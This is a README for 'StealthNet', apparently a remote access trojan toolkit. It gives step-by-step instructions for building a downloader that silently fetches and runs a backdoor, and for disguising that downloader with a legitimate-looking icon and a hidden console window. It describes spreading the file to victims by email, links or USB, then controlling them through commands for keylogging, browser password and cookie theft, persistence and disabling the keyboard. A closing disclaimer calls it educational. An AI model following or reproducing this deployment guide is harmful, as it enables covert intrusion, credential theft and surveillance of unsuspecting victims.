StealthNet

StealthNet is a remote administration tool that uses reverse connection techniques for remote control of target systems. This repository contains all the necessary components to build, deploy, and manage the connections.

Quick Start Guide

1. Compile the backdoor using PyInstaller and host it
2. Compile the C++ downloader with the backdoor URL
3. Start the main server
4. Distribute the C++ executable to targets
5. Control connected systems with the Attacker client

Components

StealthNet consists of several components:

• C++ downloader (DownloadAndExecute.cpp) - Initial execution point that downloads and runs the main payload
• Target script (Target.py) - Main backdoor functionality for the victim machine
• Main server (main_server.py) - Central command server that handles multiple connections
• Attacker client (Attacker.py) - Control interface for the operator to manage connected targets
• Browser and Keylogger modules for data extraction

Setup Instructions

1. Compile and Host the Backdoor

1. Install the required dependencies:

   pip install -r requirement.txt
   

2. Convert Target.py to an executable:

   python exe_converter.py
   

   Alternatively, use PyInstaller directly:

   pyinstaller --onefile --noconsole Target.py
   

3. Host the generated executable on a web server:
   • Use Python's built-in HTTP server:

     python -m http.server 80
     

   • Or any other hosting method of your choice
   • Note the URL where the file is accessible

2. Compile the C++ Downloader

1. Open DownloadAndExecute.cpp in Visual Studio
2. Update the download URL in the script to point to your hosted backdoor
3. Make sure to set all the necessary data parameters in the C++ file before compilation
4. Add an appropriate icon for the executable to make it look legitimate:
   • Right-click on the project → Add → Resource → Icon → Import → Select icon file
5. Set up the project for proper compilation:
   • Set the build configuration to Release mode
   • Project → Properties → C/C++ → Code Generation → Runtime Library → Multi-threaded (/MT)
   • Project → Properties → Linker → System → SubSystem → "Windows (/SUBSYSTEM:WINDOWS)" to hide the console window
   • Project → Properties → Linker → Advanced → Entry Point → "mainCRTStartup" (if needed)
6. Compile the executable:
   • Build → Build Solution (F7)
   • The compiled executable will be in the Release folder

3. Start the Main Server

1. Ensure SSL certificates are properly set up in the keys/ directory:
   • Create the necessary key files:
     • ca.key (private key)
     • ca.crt (certificate)
     • ca.csr (certificate signing request)
   • You can generate these with OpenSSL
2. Run the main server:

   python main_server.py
   

3. The server will listen for incoming connections from both targets and attackers

4. Distribute the C++ Executable

1. Send the compiled C++ executable to targets using:
   • Email attachments
   • Download links
   • USB drives
   • Other distribution methods
2. When executed on the target system, it will:
   • Download the backdoor payload
   • Execute it silently
   • Establish a connection to your server

5. Control Connected Targets

1. Run the attacker client:

   python Attacker.py
   

2. Select a target from the list of connected systems
3. Execute commands to control the remote system

Available Commands

Command	Description
exit	Disconnect from the target
persistent add	Add startup persistence
persistent remove	Remove startup persistence
cd [directory]	Change working directory
download [file]	Download a file from the target
upload [file]	Upload a file to the target
keylogger on/off/report	Control the keylogger
screenshot	Capture screen of the target
browser passwords	Extract browser passwords
browser cookies	Extract browser cookies
disable_keyboard	Disable the target's keyboard
reboot	Reboot the target system
change_bakara	Switch to another connected target
Any shell command	Execute shell commands on the target

Requirements

All required dependencies are listed in requirement.txt. Main dependencies include:

• keyboard
• pandas
• PyAutoGUI
• pycryptodome
• pywin32
• Python 3.x

Security Notice

This tool is intended for educational purposes and authorized use only. Unauthorized use of this tool against systems without explicit permission is illegal and unethical.